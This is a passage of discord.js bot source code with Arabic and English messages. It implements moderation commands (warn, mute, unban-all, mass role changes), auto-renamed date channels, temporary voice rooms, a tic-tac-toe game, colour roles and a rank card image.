- if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('? **ليس لديك الصلاحيات الكافية**');
- if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('? **ليس معي الصلاحيات الكافية**');
- message.channel.send('?| **تم عمل الروم بنجاح**');
- message.guild.createChannel("?? - Date " + "?" + day + "-" + month + "-" + years + "?" , 'voice').then(c => {
- console.log(`Date channel setup for guild: \n ${message.guild.name}`);
- c.overwritePermissions(message.guild.id, {
- CONNECT: false,
- SPEAK: false
- });
- setInterval(function() {
- c.setName("?? - Date " + "?" + day + "-" + month + "-" + years + "?")
- },1000);
- });
- }
- });
- client.on('message',async message => {
- var moment = require('moment');
- if(message.content.startsWith(prefix + "setDays")) {
- if(!message.guild.member(message.author).hasPermissions('MANAGE_CHANNELS')) return message.reply('? **ليس لديك الصلاحيات الكافية**');
- if(!message.guild.member(client.user).hasPermissions(['MANAGE_CHANNELS','MANAGE_ROLES_OR_PERMISSIONS'])) return message.reply('? **ليس معي الصلاحيات الكافية**');
- message.channel.send('?| **تم عمل الروم بنجاح**');
- message.guild.createChannel(`Day : ${moment().format('dddd')}` , 'voice').then(c => {
- console.log(`Day channel setup for guild: \n ${message.guild.name}`);
- c.overwritePermissions(message.guild.id, {
- CONNECT: false,
- SPEAK: false
- });
- setInterval(function() {
- c.setName(`?? - Day : ?${moment().format('dddd')}?`);
- },1000);
- });
- }
- })
- const google = require('google-it');
- client.on('message', message => {
- let args = message.content.split(' ').slice(1);
- if(message.content.startsWith(prefix + 'google')) {
- const input = args.join(' ');
- google({ query: input, disableConsole: true }).then(results => {
- return message.channel.send(`\n\n**Title**: ${results[0].title}\n***Link***: ${results[0].link}\nDescription: ${results[0].snippet}`);
- }).catch(error => {
- if (error) throw error;
- });
- }})
- var temp = {
- }
- client.on("message",(message) => {
- if (message.channel.type !== "text") return;
- if (!message.content.startsWith(prefix)) return;
- if(message.content.startsWith(prefix + "temp on")) {
- if (!message.member.hasPermission("MANAGE_CHANNELS")) return message.reply("** You Don't Have Permission `Manage channels` To Do This Command");
- temp[message.guild.id] = {
- work : true,
- channel : "Not Yet"
- };
- message.guild.createChannel("اضغط لصنع روم مؤقت", 'voice').then(c => {
- c.setPosition(1);
- temp[message.guild.id].channel = c.id
- message.channel.send("** Done.**");
- });
- if(message.content.startsWith(prefix + "temp off")) {
- if (!message.member.hasPermission("MANAGE_CHANNELS")) return message.reply("** You Don't Have Permission `Manage channels` To Do This Command");
- message.guild.channels.get(temp[message.guild.id]).delete();
- temp[message.guild.id] = {
- work : false,
- channel : "Not Yet"
- };
- message.channel.send("** Done.**");
- };
- }})
- client.on("voiceStateUpdate", (o,n) => {
- if (!temp[n.guild.id]) return;
- if (temp[n.guild.id].work == false) return;
- if (n.voiceChannelID == temp[n.guild.id].channel) {
- n.guild.createChannel(n.user.username, 'voice').then(c => {
- n.setVoiceChannel(c);
- c.overwritePermissions(n.user.id, {
- CONNECT:true,
- SPEAK:true,
- MANAGE_CHANNEL:true,
- MUTE_MEMBERS:true,
- DEAFEN_MEMBERS:true,
- MOVE_MEMBERS:true,
- VIEW_CHANNEL:true
- });
- })
- };
- if (!o.voiceChannel) return;
- if (o.voiceChannel.name == o.user.username) {
- o.voiceChannel.delete();
- };
- });
- client.on('message', message => {
- var prefix = ">"
- let args = message.content.split(' ').slice(1);
- if(message.content.startsWith(prefix + 'role')) {
- if(!message.member.hasPermission('MANAGE_ROLES')) return message.channel.send('**للأسف لا تمتلك صلاحية** `MANAGE_ROLES`' );
- let member = message.mentions.users.first();
- let role = args.join(' ').replace(member, '').replace(args[0], '').replace(' ', '');
- console.log(role);
- if(member) {
- if(role.startsWith('>')) {
- let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
- console.log(roleRe);
- let role1 = message.guild.roles.find('name', roleRe);
- console.log(`hi`);
- const ee =new Discord.RichEmbed()
- .setDescription('**:x: I can’t find the role.**')
- .setFooter('Requested By '+message.author.username,message.author.avatarURL)
- if(!role1) return message.channel.send(ee); message.guild.member(member).removeRole(role1.id);
- const e = new Discord.RichEmbed()
- .setDescription(':white_check_mark:** Changed Roles For **'+member+'**,** '+'**'+'-'+role1.name+'**')
- .setFooter('Requested By '+message.author.username,message.author.avatarURL)
- .setColor('BLACK')
- message.channel.send(e)
- } else if(!role.startsWith('>')) {
- let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
- let role1 = message.guild.roles.find('name', roleRe);
- const ee =new Discord.RichEmbed()
- .setDescription('**:x: I can’t find the role.**')
- .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
- if(!role1) return message.channel.send(ee); message.guild.member(member).addRole(role1);
- const e = new Discord.RichEmbed()
- .setDescription(':white_check_mark:** Changed Roles For **'+member+'**,** '+'**'+'+'+role1.name+'**')
- .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
- .setColor('BLACK')
- message.channel.send(e)
- } else {
- message.reply(`يجب عليك كتابة اسم الرتبة`);
- }
- }
- else if(args[0] == 'all') {
- if(role.startsWith('>')) {
- let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
- let role1 = message.guild.roles.find('name', roleRe);
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
- message.guild.members.forEach(m => {
- message.guild.member(m).removeRole(role1.id);
- });
- msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Taken From __${message.guild.members.size}__ Member**`);
- });
- }
- if(role) {
- let role1 = message.guild.roles.find('name', role);
- if(!role1) return;
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
- message.guild.members.forEach(m => {
- message.guild.member(m).addRole(role1);
- });
- msg.edit(`** :white_check_mark: Done...\n**` + role1.name+`** Has Given To __${message.guild.members.size}__ Members **`);
- });
- }
- } else if(args[0] == 'humans') {
- if(role.startsWith('>')) {
- let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
- let role1 = message.guild.roles.find('name', roleRe);
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
- message.guild.members.forEach(m => {
- message.guild.member(m).removeRole(role1.id);
- });
- msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Taken From __${message.guild.members.size}__ Member**`);
- });
- }
- if(role) {
- let role1 = message.guild.roles.find('name', role);
- const ee =new Discord.RichEmbed()
- .setDescription('I Cann’t Find This Role')
- .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
- if(!role1) return message.channel.send(ee);
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
- message.guild.members.filter(m =>m.user.bot == false).forEach(m => {
- message.guild.member(m).addRole(role1);
- });
- msg.edit(`** :white_check_mark: Done...**`);
- });
- }
- } else if(args[0] == 'bots') {
- if(role.startsWith('>')) {
- let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
- let role1 = message.guild.roles.find('name', roleRe);
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
- message.guild.members.forEach(m => {
- message.guild.member(m).removeRole(role1.id);
- });
- msg.edit(`** :white_check_mark: Done...**`);
- });
- }
- if(role) {
- let role1 = message.guild.roles.find('name', role);
- const ee =new Discord.RichEmbed()
- .setDescription('I Cann’t Find This Role')
- .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
- if(!role1) return message.channel.send(ee);
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
- message.guild.members.filter(m =>m.user.bot == true).forEach(m => {
- message.guild.member(m).addRole(role1);
- });
- msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Given To __${message.guild.members.size}__ Member**`);
- });
- }
- }
- }
- });
- client.on('message', message => {
- var prefix = ">"
- let args = message.content.split(' ').slice(1);
- if(message.content.startsWith(prefix + '-role')) {
- if(!message.member.hasPermission('MANAGE_ROLES')) return message.channel.send('**للأسف لا تمتلك صلاحية** `MANAGE_ROLES`' );
- let member = message.mentions.users.first();
- let role = args.join(' ').replace(member, '').replace(args[0], '').replace(' ', '');
- console.log(role);
- if(member) {
- if(role.startsWith('>')) {
- let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
- console.log(roleRe);
- let role1 = message.guild.roles.find('name', roleRe);
- console.log(`hi`);
- const ee =new Discord.RichEmbed()
- .setDescription('**:x: I can’t find the role.**')
- .setFooter('Requested By '+message.author.username,message.author.avatarURL)
- if(!role1) return message.channel.send(ee); message.guild.member(member).removeRole(role1.id);
- const e = new Discord.RichEmbed()
- .setDescription(':white_check_mark:** Pull Role For **'+member+'**,** '+'**'+'-'+role1.name+'**')
- .setFooter('Requested By '+message.author.username,message.author.avatarURL)
- .setColor('BLACK')
- message.channel.send(e)
- } else if(!role.startsWith('>')) {
- let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
- let role1 = message.guild.roles.find('name', roleRe);
- const ee =new Discord.RichEmbed()
- .setDescription('**:x: I can’t find the role.**')
- .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
- if(!role1) return message.channel.send(ee); message.guild.member(member).removeRole(role1);
- const e = new Discord.RichEmbed()
- .setDescription(':white_check_mark:** Pull Role For **'+member+'**,** '+'**'+'+'+role1.name+'**')
- .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
- .setColor('BLACK')
- message.channel.send(e)
- } else {
- message.reply(`يجب عليك كتابة اسم الرتبة`);
- }
- }
- else if(args[0] == 'all') {
- if(role.startsWith('>')) {
- let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
- let role1 = message.guild.roles.find('name', roleRe);
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
- message.guild.members.forEach(m => {
- message.guild.member(m).removeRole(role1.id);
- });
- msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Pull From __${message.guild.members.size}__ Member**`);
- });
- }
- if(role) {
- let role1 = message.guild.roles.find('name', role);
- if(!role1) return;
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
- message.guild.members.forEach(m => {
- message.guild.member(m).removeRole(role1);
- });
- msg.edit(`** :white_check_mark: Done...\n**` + role1.name+`** Has Pull To __${message.guild.members.size}__ Members **`);
- });
- }
- } else if(args[0] == 'humans') {
- if(role.startsWith('>')) {
- let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
- let role1 = message.guild.roles.find('name', roleRe);
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
- message.guild.members.forEach(m => {
- message.guild.member(m).removeRole(role1.id);
- });
- msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Pull From __${message.guild.members.size}__ Member**`);
- });
- }
- if(role) {
- let role1 = message.guild.roles.find('name', role);
- const ee =new Discord.RichEmbed()
- .setDescription('I Cann’t Find This Role')
- .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
- if(!role1) return message.channel.send(ee);
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
- message.guild.members.filter(m =>m.user.bot == false).forEach(m => {
- message.guild.member(m).removeRole(role1);
- });
- msg.edit(`** :white_check_mark: Done...**`);
- });
- }
- } else if(args[0] == 'bots') {
- if(role.startsWith('>')) {
- let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
- let role1 = message.guild.roles.find('name', roleRe);
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg =>{
- message.guild.members.forEach(m => {
- message.guild.member(m).removeRole(role1.id);
- });
- msg.edit(`** :white_check_mark: Done...**`);
- });
- }
- if(role) {
- let role1 = message.guild.roles.find('name', role);
- const ee =new Discord.RichEmbed()
- .setDescription('I Cann’t Find This Role')
- .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
- if(!role1) return message.channel.send(ee);
- message.channel.send(`الرجاء الانتظار حتى يتم الانتهاء من الامر`).then(msg => {
- message.guild.members.filter(m =>m.user.bot == true).forEach(m => {
- message.guild.member(m).removeRole(role1);
- });
- msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** rank has been pull To __${message.guild.members.size}__ Member**`);
- });
- }
- }
- }
- });
- let warnings = JSON.parse(fs.readFileSync('./warnings.json' , 'utf8'));
- client.on('message', async message => {
- var channellog = message.guild.channels.find('name', `${log[message.guild.id].channel}`)
- var prefix = ">"
- var user = message.mentions.users.first();
- var reason = message.content.split(' ').slice(2).join(' ');
- if(message.content.startsWith(prefix + 'warn')) {
- if(!message.member.hasPermission('MUTE_MEMBERS')) return message.channel.send('**Sorry But You Dont Have Permission** `MUTE_MEMBERS`' );
- if(!channellog) return message.channel.send('cant find log channel , to set the log channel type >setLog Aand then type the channel name')
- if(!user) return message.channel.send("**Mention The Target**")
- if(!reason) return message.channel.send("** Type The Reason**")
- let warnembed = new Discord.RichEmbed()
- .setTitle(`**New Warned User !**`)
- .addField("**- Warned User:**", `${user} with ID ${user.id}`)
- .addField('**- Warned By:**',`${message.author.tag}`)
- .addField('**- Reason:**', `${reason}`, true)
- .addField("**- Warned in:**",`${message.channel.name}`)
- .addField("**- Time & Date:**",`${message.createdAt}`)
- .setFooter(client.user.avatarURL, client.user.username)
- .setColor('#060c37')
- message.delete()
- warnings[message.guild.id] = {
- moderator: message.author,
- warning: message.createdAt,
- member: user,
- },
- channellog.sendEmbed(warnembed)
- message.channel.send(`**__${user} Has Been Warned __**`)
- fs.writeFile("./warnings.json", JSON.stringify(warnings), (err) => {
- if (err) console.error(err)
- })
- }})
- client.on('message', async message => {
- if(message.content.startsWith(prefix + 'listwarns')) {
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- message.channel.send(`Moderator:${warnings[message.guild.id].moderator} Warned Member: ${warnings[message.guild.id].member} Time & Date:${warnings[message.guild.id].warning}`)
- }})
- client.on("message", message => {
- if(!message.channel.guild) return;
- if(message.author.bot) return;
- if(message.content === prefix + "image"){
- const embed = new Discord.RichEmbed()
- .setTitle(`This is ** ${message.guild.name} ** Photo !`)
- .setAuthor(message.author.username, message.guild.iconrURL)
- .setColor(0x164fe3)
- .setImage(message.guild.iconURL)
- .setURL(message.guild.iconrURL)
- .setTimestamp()
- message.channel.send({embed});
- }
- });
- client.on('message', message => {
- if (message.content.startsWith(prefix +"avatar")) {
- if(!message.channel.guild) return;
- var mentionned = message.mentions.users.first();
- var client;
- if(mentionned){
- var client = mentionned; } else {
- var client = message.author;
- }
- const embed = new Discord.RichEmbed()
- .addField('Requested by:', "<@" + message.author.id + ">")
- .setColor(000000)
- .setImage(`${client.avatarURL}`)
- message.channel.sendEmbed(embed);
- }
- });
- client.on('message',async message => {
- if(message.content === '>unbanall') {
- var user = message.mentions.users.first();
- if(!message.member.hasPermission('ADMINISTRATOR')) return message.channel.send('?|**\`ADMINISTRATOR\`لا توجد لديك صلاحية `**');
- if(!message.guild.member(client.user).hasPermission("BAN_MEMBERS")) return message.reply("**I Don't Have ` BAN_MEMBERS ` Permission**");
- const guild = message.guild;
- message.guild.fetchBans().then(ba => {
- ba.forEach(ns => {
- message.guild.unban(ns);
- const embed= new Discord.RichEmbed()
- .setColor("RANDOM")
- .setAuthor("Succes!", "https://images-ext-1.discordapp.net/external/vp2vj9m0ieU5J6SHg6ObIsGpTJyoZnGAebrd0_vi848/https/i.imgur.com/GnR2unD.png?width=455&height=455")
- .setDescription(`**:white_check_mark: Has Been Unban For All**`)
- .setFooter('Requested by '+message.author.username, message.author.avatarURL)
- message.channel.sendEmbed(embed);
- guild.owner.send(`سيرفر : ${guild.name}
- **تم فك الباند عن الجميع بواسطة** : <@${message.author.id}>`)
- let embed2 = new Discord.RichEmbed()
- .setTitle('New Unbanned All !')
- .addField('UnbannedAll By:', `${message.author}`)
- .addField('Time & Date', `${message.createdAt}`)
- .setFooter('Royal Bot')
- let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}` || `log`);
- if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
- incidentchannel.sendEmbed(embed2)
- });
- });
- }
- });
- /*
- البكجآت
- npm install discord.js
- npm install ytdl-core
- npm install get-youtube-id
- npm install youtube-info
- npm install simple-youtube-api
- npm install queue
- */
- client.on('ready', () => {
- console.log(`Logged in as ${client.user.tag}!`);
- console.log(`in ${client.guilds.size} servers `)
- console.log(`[ ] ${client.users.size}`)
- client.user.setStatus("idle")
- });
- client.on('ready', () => {
- client.user.setGame(`>help | v2.65`,'https://www.twitch.tv/discordssdsds');
- });
- client.on('message', async message =>{
- if (message.author.boss) return;
- if (!message.content.startsWith(prefix)) return;
- let command = message.content.split(" ")[0];
- command = command.slice(prefix.length);
- let args = message.content.split(" ").slice(1);
- if (message.content === ">mute") {
- if (!message.channel.guild) return;
- if(!message.guild.member(message.author).hasPermission("MANAGE_MESSAGES")) return message.reply("You Dont Have Permissions To Do That :x:").then(msg => msg.delete(5000));
- if(!message.guild.member(client.user).hasPermission("MANAGE_MESSAGES")) return message.reply("I Dont Have Permissions To Do That :x:").then(msg => msg.delete(5000));;
- let user = message.mentions.users.first();
- let muteRole = message.guild.roles.find("name", "Muted");
- if (!muteRole) return message.reply("**I Cant Find Muted Role **").then(msg => {msg.delete(5000)});
- if (message.mentions.users.size < 1) return message.reply('**Mention Someone**').then(msg => {msg.delete(5000)});
- let reason = message.content.split(" ").slice(2).join(" ");
- if(!reason) reason = "Null";
- message.guild.member(user).addRole(muteRole);
- let muteEmbed = new Discord.RichEmbed()
- .setTitle(`New Perm Muted User`)
- .setThumbnail(message.guild.iconURL)
- .addField('- Muted By:',message.author,true)
- .addField('- Muted User:', `${user}`)
- .addField('- Reason:',reason,true)
- .setFooter("?????????? ??????")
- let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
- if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
- incidentchannel.sendEmbed(muteEmbed)
- user.send(`**You Are has been permanently muted in ${message.guild.name} reason: ${reason}**`)
- }})
- client.on("message", message => {
- if (message.content === ">support") {
- message.channel.send(":white_check_mark: I've DMed you with my support server");
- const embed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setFooter('© ?????????? ?????? جميع الحقوق محفوظة 2018 لــبوت')
- .addField('سيرفر الدعم الفني', `https://discord.gg/eHV24X`)
- message.author.send({embed});
- }
- });
- client.on('message' , message => {
- var prefix = ">";
- if(message.author.bot) return;
- if(message.content.startsWith(prefix + "xo")) {
- let array_of_mentions = message.mentions.users.array();
- let symbols = [':o:', ':heavy_multiplication_x:']
- var grid_message;
- if (array_of_mentions.length == 1 || array_of_mentions.length == 2) {
- let random1 = Math.floor(Math.random() * (1 - 0 + 1)) + 0;
- let random2 = Math.abs(random1 - 1);
- if (array_of_mentions.length == 1) {
- random1 = 0;
- random2 = 0;
- }
- let player1_id = array_of_mentions[random1].id;
- let player2_id = array_of_mentions[random2].id;
- var turn_id = player1_id;
- var symbol = symbols[0];
- let initial_message = `مباراة بين <@${player1_id}> و <@${player2_id}>!`;
- if (player1_id == player2_id) {
- initial_message += '\n_(من الخاسر, انت تلعب هذا الدور مع نفسك :joy:)_'
- }
- message.channel.send(`xo! ${initial_message}`)
- .then(console.log("Successful tictactoe introduction"))
- .catch(console.error);
- message.channel.send(':one::two::three:' + '\n' +
- ':four::five::six:' + '\n' +
- ':seven::eight::nine:')
- .then((new_message) => {
- grid_message = new_message;
- })
- .then(console.log("Successful xo game initialization"))
- .catch(console.error);
- message.channel.send('يتم تحميل... انتظر الريئاكشن :ok:')
- .then(async (new_message) => {
- await new_message.react('1?');
- await new_message.react('2?');
- await new_message.react('3?');
- await new_message.react('4?');
- await new_message.react('5?');
- await new_message.react('6?');
- await new_message.react('7?');
- await new_message.react('8?');
- await new_message.react('9?');
- await new_message.react('??');
- await new_message.edit(`انه دور <@${turn_id}> علامتك هي${symbol}`)
- .then((new_new_message) => {
- require('./alpha.js')(client, message, new_new_message, player1_id, player2_id, turn_id, symbol, symbols, grid_message);
- })
- .then(console.log("Successful xo listener initialization"))
- .catch(console.error);
- })
- .then(console.log("Successful xo react initialization"))
- .catch(console.error);
- }
- else {
- message.reply(`_مهلا مهلا_ :anger: \`(استعمل هذا: ${prefix}xo @player1 @player2)\``)
- .then(console.log("Successful error reply"))
- .catch(console.error);
- }
- }
- });
- client.on('message', message => {
- let args = message.content.split(' ').slice(1);
- if(message.content.split(' ')[0] == '>color'){
- const embedd = new Discord.RichEmbed()
- .setFooter('Requested by '+message.author.username, message.author.avatarURL)
- .setDescription(`**لا يوجد لون بهذا الأسم ** :x: `)
- .setColor(`ff0000`)
- if(!isNaN(args) && args.length > 0)
- if (!(message.guild.roles.find("name",`${args}`))) return message.channel.sendEmbed(embedd);
- var a = message.guild.roles.find("name",`${args}`)
- if(!a)return;
- const embed = new Discord.RichEmbed()
- .setFooter('Requested by '+message.author.username, message.author.avatarURL)
- .setDescription(`**Done , تم تغير لونك . :white_check_mark: **`)
- .setColor(`${a.hexColor}`)
- message.channel.sendEmbed(embed);
- if (!args)return;
- setInterval(function(){})
- let count = 0;
- let ecount = 0;
- for(let x = 1; x < 201; x++){
- message.member.removeRole(message.guild.roles.find("name",`${x}`))
- }
- message.member.addRole(message.guild.roles.find("name",`${args}`));
- }
- });
- client.on('message', message => {
- if (message.content.startsWith(">botinfo")) {
- message.channel.send({
- embed: new Discord.RichEmbed()
- .setAuthor(client.user.username,client.user.avatarURL)
- .setThumbnail(client.user.avatarURL)
- .setColor('RANDOM')
- .setTitle('``INFO ?????????? ??????`` ')
- .addField('``My Ping``' , [`${Date.now() - message.createdTimestamp}` + 'MS'], true)
- .addField('``servers``', [client.guilds.size], true)
- .addField('``channels``' , `[ ${client.channels.size} ]` , true)
- .addField('``Users``' ,`[ ${client.users.size} ]` , true)
- .addField('``My Name``' , `[ ${client.user.tag} ]` , true)
- .addField('``My ID``' , `[ ${client.user.id} ]` , true)
- .addField('``My Prefix``' , `[ > ]` , true)
- .addField('``My Language``' , `[ JavaScript ]` , true)
- .addField('``Bot Version``' , `[ v0.1 ]` , true)
- .setFooter('By | <@429972030092476437>')
- })
- }
- });
- const hastebins = require('hastebin-gen');
- client.on('message', message => {
- var PREFIX = '>';
- if(message.content.startsWith(PREFIX + 'discrim')) {
- var args = message.content.split(' ').slice(1).join(' ');
- if(!args) return message.reply('Please Type The Discrim Tag')
- }
- var array = [];
- var i = 0;
- if(args){
- client.users.filter(u => u.discriminator == args).map(u => {
- if(i > 4){
- return;
- }
- i = i + 1;
- array.push(`${u.tag}`);
- });
- }
- hastebins(`${array.slice(0, 30).join('\n')}`, 'txt').then(l => {
- message.channel.send(`${l}`);
- }).catch(console.error);
- });
- client.on('message' , message => {
- var PREFIX = '>';
- if(message.content === `${PREFIX}discrim`) {
- var args = message.content.split(' ').slice(1).join(' ');
- if(!args) return message.reply('Please Type The Discrim Tag')
- let array = [];
- var i = 0;
- client.users.filter(u => u.discriminator == message.author.discriminator).map(u => {
- if(i > 4){
- return;
- }
- i = i + 1;
- array.push(`${u.tag}`);
- });
- hastebins(`${array.slice(0, 30).join('\n')}`, 'txt').then(l => {
- message.channel.send(`${l}`);
- }).catch(console.error);
- }
- });
- const id = JSON.parse(fs.readFileSync("./id/rank.json", "utf8"));
- client.on("message", message => {
- if (message.author.bot) return;
- fs.writeFile('./id/rank.json', JSON.stringify(id), (err) => {
- if (err) console.error(err);
- });
- });
- client.on('message', message => {
- if(!id[message.author.id]) id[message.author.id] ={
- textrank: 1,
- points: 1
- };
- if(message.author.bot) return;
- id[message.author.id].points = Math.floor(id[message.author.id].points+4);
- if(id[message.author.id].points > 10) {
- id[message.author.id].points = 10;
- id[message.author.id].level = Math.floor(id[message.author.id].level+4);
- }
- fs.writeFile('./id/rank.json', JSON.stringify(id), (err) => {
- if (err) console.error(err);
- });
- client.on("message", message => {
- if (message.author.bot) return;
- if(!message.channel.guild) return;
- if (message.content.startsWith(prefix + "rank")) {
- let user = message.mentions.users.first();
- var human = message.mentions.users.first();
- var author;
- if(human) {
- author = human;
- } else {
- author = message.author;
- }
- var mentionned = message.mentions.members.first();
- var ah;
- if(mentionned) {
- ah = mentionned;
- } else {
- ah = message.member;
- }
- var ment = message.mentions.users.first();
- var getvalueof;
- if(ment) {
- getvalueof = ment;
- } else {
- getvalueof = message.author;
- }
- var mentionned = message.mentions.users.first();
- var client;
- if(mentionned){
- var client = mentionned;
- } else {
- var client = message.author;
- }
- if (!id[getvalueof.id]) id[getvalueof.id] = {textrank: 0,points: 1};
- let Image = Canvas.Image,
- canvas = new Canvas(400, 200),
- ctx = canvas.getContext('2d');
- fs.readFile("./id/rank.png", function (err, Background) {
- if (err) return console.log(err);
- let id = Canvas.Image;
- let ground = new Image;
- ground.src = Background;
- ctx.drawImage(ground, 0, 0, 400, 200);
- });
- let url = getvalueof.displayAvatarURL.endsWith(".webp") ? getvalueof.displayAvatarURL.slice(5, -20) + ".png" : getvalueof.displayAvatarURL;
- jimp.read(url, (err, ava) => {
- if (err) return console.log(err);
- ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
- if (err) return console.log(err);
- // N A M E | S H A D O W
- ctx.font = 'bold 18px Arial';
- ctx.fontSize = '18px';
- ctx.fillStyle = "#000000";
- ctx.textAlign = "center";
- ctx.fillText(`${getvalueof.username}`, 253, 79);
- // N A M E
- ctx.font = 'bold 18px Arial';
- ctx.fontSize = '18px';
- ctx.fillStyle = "#f1f1f1";
- ctx.textAlign = "center";
- ctx.fillText(`${getvalueof.username}`, 253, 77);
- // T E X T R A N K
- ctx.font = "bold 12px Arial";
- ctx.fontSize = '12px';
- ctx.fillStyle = "#f1f1f1";
- ctx.textAlign = "center";
- ctx.fillText(`${id[getvalueof.id].textrank}`, 252, 124);
- // P O I N T S
- ctx.font = "bold 12px Arial";
- ctx.fontSize = '12px';
- ctx.fillStyle = "#f1f1f1";
- ctx.textAlign = "center";
- ctx.fillText(`${id[getvalueof.id].points}`, 253, 171);
- let Avatar = Canvas.Image;
- let ava = new Avatar;
- ava.src = buf;
- ctx.beginPath();
- ctx.arc(75, 100, 780, 0, Math.PI*2, true);
- ctx.closePath();
- ctx.clip();
- ctx.drawImage(ava, 26, 69, 93, 93);
- message.channel.sendFile(canvas.toBuffer());
- });
- });
- }
- });
- });
- client.login("TOKEN");
- client.on('message', message => {
- if(message.content.startsWith(prefix + 'hrole')) {
- if(!message.member.hasPermission('MANAGE_ROLES')) return
- let role = new Discord.RichEmbed()
- .setDescription(`
- أمثله على الأوامر :
- >role @mention rolename : لأعطاء رتبة لعضو معين
- >role all rolename : لأعطاء رتبة للجميع
- >role humans rolename : لأعطاء رتبة للاشخاص فقط
- >role bots rolename : لأعطاء رتبة لجميع البوتات`)
- .setFooter('Requested by '+message.author.username, message.author.avatarURL)
- message.channel.sendEmbed(role)
- }})
- client.on('message', message => {
- if(message.content.startsWith(prefix + '-hrole')) {
- if(!message.member.hasPermission('MANAGE_ROLES')) return
- let role = new Discord.RichEmbed()
- .setDescription(`
- أمثله على الأوامر :
- >-role @mention rolename : لسحب رتبة لعضو معين
- >-role all rolename : لسحب رتبة للجميع
- >-role humans rolename : لسحب رتبة للاشخاص فقط
- >-role bots rolename : لسحب رتبة لجميع البوتات`)
- .setFooter('Requested by '+message.author.username, message.author.avatarURL)
- message.channel.sendEmbed(role)
- }})
- client.on('message', msg => {//msg
- if (msg.content === '>colors') {
- msg.channel.send({file : "https://cdn.discordapp.com/attachments/501774006966419458/501774646467887105/colors.png"})
- }
- });;
- client.on('message', message => {
- if(message.content === prefix + 'createcolors') {
- if(!message.channel.guild) return message.channel.send('**This Commnad only For Servers !**');
- if(!message.member.hasPermission('ADMINISTRATOR')) return message.channel.send('**You Dont Have** `ADMINISTRATOR` **premission**').then(msg => msg.delete(6000))
- message.guild.createRole({
- name: "1",
- color: "#FFB6C1",
- permissions: []
- })
- message.guild.createRole({
- name: "2",
- color: "#FFC0CB",
- permissions: []
- })
- message.guild.createRole({
- name: "3",
- color: "#FF69B4",
- permissions: []
- })
- message.guild.createRole({
- name: "4",
- color: "#FF1493",
- permissions: []
- })
- message.guild.createRole({
- name: "5",
- color: "#DB7093",
- permissions: []
- })
- message.guild.createRole({
- name: "6",
- color: "#C71585",
- permissions: []
- })
- message.guild.createRole({
- name: "7",
- color: "#E6E6FA",
- permissions: []
- })
- message.guild.createRole({
- name: "8",
- color: "#D8BFD8",
- permissions: []
- })
- message.guild.createRole({
- name: "8",
- color: "#DDA0DD",
- permissions: []
- })
- message.guild.createRole({
- name: "9",
- color: "#DA70D6",
- permissions: []
- })
- message.guild.createRole({
- name: "10",
- color: "#EE82EE",
- permissions: []
- })
- message.guild.createRole({
- name: "11",
- color: "#FF00FF",
- permissions: []
- })
- message.guild.createRole({
- name: "12",
- color: "#BA55D3",
- permissions: []
- })
- message.guild.createRole({
- name: "13",
- color: "#9932CC",
- permissions: []
- })
- message.guild.createRole({
- name: "14",
- color: "#9400D3",
- permissions: []
- })
- message.guild.createRole({
- name: "15",
- color: "#8A2BE2",
- permissions: []
- })
- message.guild.createRole({
- name: "16",
- color: "#8B008B",
- permissions: []
- })
- message.guild.createRole({
- name: "17",
- color: "#800080",
- permissions: []
- })
- message.guild.createRole({
- name: "18",
- color: "#9370DB",
- permissions: []
- })
